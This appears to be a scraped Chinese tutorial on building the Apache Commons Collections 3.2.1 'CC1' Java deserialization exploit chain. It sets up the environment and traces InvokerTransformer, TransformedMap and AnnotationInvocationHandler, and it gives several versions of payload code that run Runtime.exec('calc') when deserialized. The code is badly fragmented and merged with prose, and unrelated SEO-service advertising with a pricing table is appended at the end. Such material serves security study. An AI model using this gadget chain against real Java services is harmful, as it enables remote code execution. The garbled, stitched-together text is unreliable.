96SEO 2026-02-23 11:17 13
。

该项目包含了多种不同类型的集合类、迭代器、队…Commons
Collections是Apache软件基金会的一个开源项目它提供了一组可复用的数据结构和算法的实现旨在扩展和增强Java集合框架以便更好地满足不同类型应用的需求。
该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现以及许多实用程序类和算法实现。
它的代码质量较高被广泛应用于Java应用程序开发中。
版本的利用链衍生出多个版本的利用方式但其核心部分是相同的不同之处在于中间过程的构造。
Ysoserial
Collections3.2.1版本下的一条最好用的反序列化漏洞链这条攻击链被称为CC1链。
Collections在java.util.Map的基础上扩展了很多接口和类比较有代表性的是BidiMap、MultiMap和LazyMap。
跟Bag和Buffer类似Commons
所谓BidiMap直译就是双向Map可以通过key找到value也可以通过value找到key这在我们日常的代码-名称匹配的时候很方便因为我们除了需要通过代码找到名称之外往往也需要处理用户输入的名称然后获取其代码。
需要注意的是BidiMap当中不光key不能重复value也不可以。
所谓MultiMap就是说一个key不再是简单的指向一个对象而是一组对象add()和remove()的时候跟普通的Map无异只是在get()时返回一个Collection利用MultiMap我们就可以很方便的往一个key上放数量不定的对象也就实现了一对多。
所谓LazyMap意思就是这个Map中的键/值对一开始并不存在当被调用到时才创建。
https://www.iteye.com/blog/duohuoteng-1630329
我们有时候需要将某个对象转换成另一个对象供另一组方法调用而这两类对象的类型有可能并不是出于同一个继承体系的或者说出了很基本的Object之外没有共同的父类或者我们根本不关心他们是不是有其他继承关系甚至就是同一个类的实例只是对我们而言无所谓我们为了它能够被后续的调用者有意义的识别和处理在这样的情形我们就可以利用Transformer。
除了基本的转型Transformer之外Commons
Collections还提供了Transformer链和带条件的Transformer使得我们很方便的组装出有意义的转型逻辑。
https://blog.csdn.net/liliugen/article/details/83298363
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
新建一个maven项目-项目JDK-添加JDK找到我们刚安装的jdk-8u65
然后配置Maven依赖下载CommonsCollections3.2.1版本
https://mvnrepository.com/artifact/commons-collections/commons-collections
groupIdcommons-collections/groupId
artifactIdcommons-collections/artifactId
/dependencies由于我们分析时要涉及的jdk源码所以要把jdk的源码也下载下来方便我们分析。
下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点击左下角的zip即可下载然后解压。
再进入到相应JDK的文件夹中里面本来就有个src.zip的压缩包将其解压然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。
我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类然后溯源看看哪个类中的方法有调用危险方法(有点像套娃这个类中的某个方法调用了下个类中的某个方法一步步套下去)并且继承了序列化接口然后再依次向上回溯直到找到一个重写了readObject方法的类并且符合条件那么这个就是起始类我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**)这就是大致的Java漏洞链流程。
Collections库中的Tranformer接口这个接口里面有个transform方法
可以看到有很多类我们这里找到了有重写transform方法的InvokerTransformer类并且可以看到它也继承了Serializable,很符合我们的要求。
定位到InvokerTransformer的transform方法
//调用该类的方法//可以看到这里相当于是调用了我们熟悉的反射机制来返回某个方法的利用值这就是明显的利用点......可以看到transform方法接受一个对象不为空时就会进行通过反射机制动态地调用对象的特定方法。
而iMethodName、iParamTypes、iArgs这几个参数都是通过构造函数控制的并且为public
//参数为方法名所调用方法的参数类型所调用方法的参数值super();iMethodName
}因为这些参数我们都可以控制也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法比如弹一个计算器
String.class);m.invoke(r,calc);*/Runtime
invokerTransformer.transform(r);#其实就是相当于通过transform方法来实现了我们最基本的反射过程。
可以看到成功执行了命令那么我们就找到了源头利用点了接下来就是一步步回溯寻找合适的子类构造漏洞链直到到达重写了readObject的类(没有的话就寄了)。
寻找某个类中的某个方法调用了transform方法直接对这个方法右键查找用法(altF7)可以看到有很多都调用了这个方法
这里我们直接来到TransformedMap类下的checkSetValue方法
我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法
{//接受三个参数第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了可控。
super(map);this.keyTransformer
keyTransformer;this.valueTransformer
valueTransformer.transform(value);//返回valueTransformer对应的transform方法
}可以看到我们只需要让valueTransformer等于我们之前的invokerTransformer对象就又可以通过它来实现调用任意类的任意方法了。
但是这里有个问题可以看到构造函数和方法都是protected权限的也就是说只有在同一个包中才可以调用不能外部调用去实例化那么我们就需要找到内部实例化的工具这里往上查找可以找到一个public的静态方法decorate
TransformedMap对象并且还是public方法我们可以直接调用。
因此我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法比如修改之前的代码弹一个计算器
//invokerTransformer就是上个payload的
//invokerTransformer.transform(r);HashMapObject,Object
//这个直接实例化一个HashMapMapObject,Object
decorateMapTransformedMap.decorate(map,null,invokerTransformer);
//把map当成参数传入然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformerClass
//TransformedMap.class返回TransformedMap类的Class对象。
我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。
Method
transformedMapClass.getDeclaredMethod(checkSetValue,
//使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。
checkSetValueMethod.setAccessible(true);
//因为checkSetValue是peotected所以需要使用
setAccessible(true)改变其作用域这样即使私有的方法也可以访问调用了checkSetValueMethod.invoke(decorateMap,r);
//invoke执行Method.invoke()方法接受两个参数1、调用方法的对象实例2、要传递给方法的参数接下来我们就是要找哪里调用了
这里我们同样查找用法(AltF7)发现只有一个地方调用了checkSetValue方法AbstractInputCheckedMapDecorator类的setValue
AbstractInputCheckedMapDecorator-MapEntry.setValue()
AbstractInputCheckedMapDecorator
Entry代表的是Map中的一个键值对而在Map中我们可以看到有setValue方法我们在对Map进行遍历的时候可以调用setValue这个方法
不过上面MapEntry类实际上是重写了setValue方法它继承了AbstractMapEntryDecorator这个类这个类中存在setValue方法
而这个类又引入了Map.Entry接口所以我们只需要进行常用的Map遍历就可以调用setValue方法,然后水到渠成地调用checkSetValue方法
//invokerTransformer.transform(r);HashMapObject,
//这个直接实例化一个HashMapmap.put(key,value);
//给map一个键值对方便遍历MapObject,Object
decorateMapTransformedMap.decorate(map,null,invokerTransformer);//用于遍历
中键值对Entry的集合。
entry.setValue(r);
AbstractInputCheckedMapDecorator
首先我们找到了TransformedMap这个类我们想要调用其中的checkSetValue方法但是这个类的构造器是peotected权限只能类中访问所以我们调用decorate方法来实例化这个类在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对然后把这个map当成参数传入实例化成了一个decorateMap对象这个对象也是Map类型的然后我们对这个对象进行遍历在遍历过程中我们可以调用setValue方法而恰好又遇到了一个重写了setValue的MapEntry副类这个重写的方法刚好调用了checkSetValue方法这样就形成了一个闭环
方法我们可以继续向上查找看看有哪些方法里面调用了setValue并且可以被我们所利用
这里看到了AnnotationInvocationHandler这个类看到有个调用了setValue方法的readObject方法很完美的实现了代替之前Map遍历功能
AnnotationInvocationHandler.readObject()
readObject(java.io.ObjectInputStream
方法从输入流中读取对象的默认数据。
这是为了保证默认的反序列化行为。
//
incompatibly//这是一个自定义的类型用于表示注解类型。
AnnotationType
AnnotationType.getInstance(type);}
java.io.InvalidObjectException(Non-annotation
annotationType.memberTypes();//
memberValues.entrySet()将每个键值对赋值给memberValuefor
memberValue.getValue();//判断成员值是否与成员类型兼容if
(!(memberType.isInstance(value)
AnnotationTypeMismatchExceptionProxy
AnnotationTypeMismatchExceptionProxy(value.getClass()
]).setMember(annotationType.members().get(name)));}}可以看到这里再调用setValue前面还要经过两个判断。
或者默认的包级私有那么该构造函数将具有默认的包级私有访问修饰符。
默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用但在不同包中的类中是不可见的。
也就是说这个类只能在sun.reflect.annotation这个包下被调用我们要想在外部调用需要用到反射来解决。
org.apache.commons.collections.functors.InvokerTransformer;
org.apache.commons.collections.map.TransformedMap;
Runtime.getRuntime();InvokerTransformer
Object[]{calc});//invokerTransformer.transform(r);HashMapObject,
invokerTransformer);//反射获取AnnotationInvocationHandler类Class
Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor()
clazz.getDeclaredConstructor(Class.class,
Map.class);constructor.setAccessible(true);
constructor.newInstance(Override.class,
//创建该类的实例这里第一个参数是注解的类原型第二个就是我们之前的类serialize(obj);
//序列化unserialize(C://java/CC1.ser);
FileOutputStream(C://java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public
FileInputStream(filename));objectInputStream.readObject();}
调试看看断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处
这里我们直接就跳到了最下面很显然if循环没有进去这里判断memberType但是我们的
AnnotationType.getInstance(type);
我们这里的要求传入的注解参数是要求有成员变量的并且成员变量要和
这里我们找到了SuppressWarnings注解该注解有一个成员变量
但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap或者说没有办法建立
ConstantTransformer和InvokerTransformer之间的包含关系。
于是我们又来到了
对象的话则可以直接调用到ConstantTransformer的transform方法如果赋值为
org.apache.commons.collections.Transformer;
org.apache.commons.collections.functors.ChainedTransformer;
org.apache.commons.collections.functors.ConstantTransformer;
org.apache.commons.collections.functors.InvokerTransformer;
org.apache.commons.collections.map.TransformedMap;
Runtime.getRuntime();//InvokerTransformer
Object[]{calc});//invokerTransformer.transform(r);Transformer[]
ConstantTransformer(Runtime.class)
//Runtime没有serializable接口,不能被反序列化我们需要用它的原型类class};ChainedTransformer
newChainedTransformer(transformers);HashMapObject,
//这个直接实例化一个HashMapmap.put(value,
chainedTransformer);//反射获取AnnotationInvocationHandler类Class
Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor()
clazz.getDeclaredConstructor(Class.class,
Map.class);constructor.setAccessible(true);
constructor.newInstance(SuppressWarnings.class,
//创建该类的实例这里第一个是参数是注解的类原型第二个就是我们之前的类serialize(obj);
//序列化unserialize(C://Users/yokan/Desktop/code/java/CC1.ser);
FileOutputStream(C://Users/yokan/Desktop/code/java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public
FileInputStream(filename));objectInputStream.readObject();}
org.apache.commons.collections.Transformer;
org.apache.commons.collections.functors.ChainedTransformer;
org.apache.commons.collections.functors.ConstantTransformer;
org.apache.commons.collections.functors.InvokerTransformer;
org.apache.commons.collections.map.TransformedMap;
Runtime.getRuntime();//InvokerTransformer
Object[]{calc});//invokerTransformer.transform(r);//创建一个Transformer数组用于储存InvokerTransformer的数据便于遍历Transformer[]
ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化我们需要用它的原型类classnew
InvokerTransformer(getMethod,new
Class[]{String.class,Class[].class},new
Class[]{Object.class,Object[].class},new
Object[]{calc}),};ChainedTransformer
ChainedTransformer(transformers);HashMapObject,
//这个直接实例化一个HashMapmap.put(value,
chainedTransformer);//反射获取AnnotationInvocationHandler类Class
Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor()
clazz.getDeclaredConstructor(Class.class,
Map.class);constructor.setAccessible(true);
constructor.newInstance(SuppressWarnings.class,
//创建该类的实例这里第一个是参数是注解的类原型第二个就是我们之前的类serialize(obj);
//序列化unserialize(C://Users/yokan/Desktop/code/java/CC1.ser);
FileOutputStream(C://Users/yokan/Desktop/code/java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public
FileInputStream(filename));objectInputStream.readObject();}
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map().setValue()TransformedMap.decorate()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()参考
https://www.secpulse.com/archives/188750.html
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback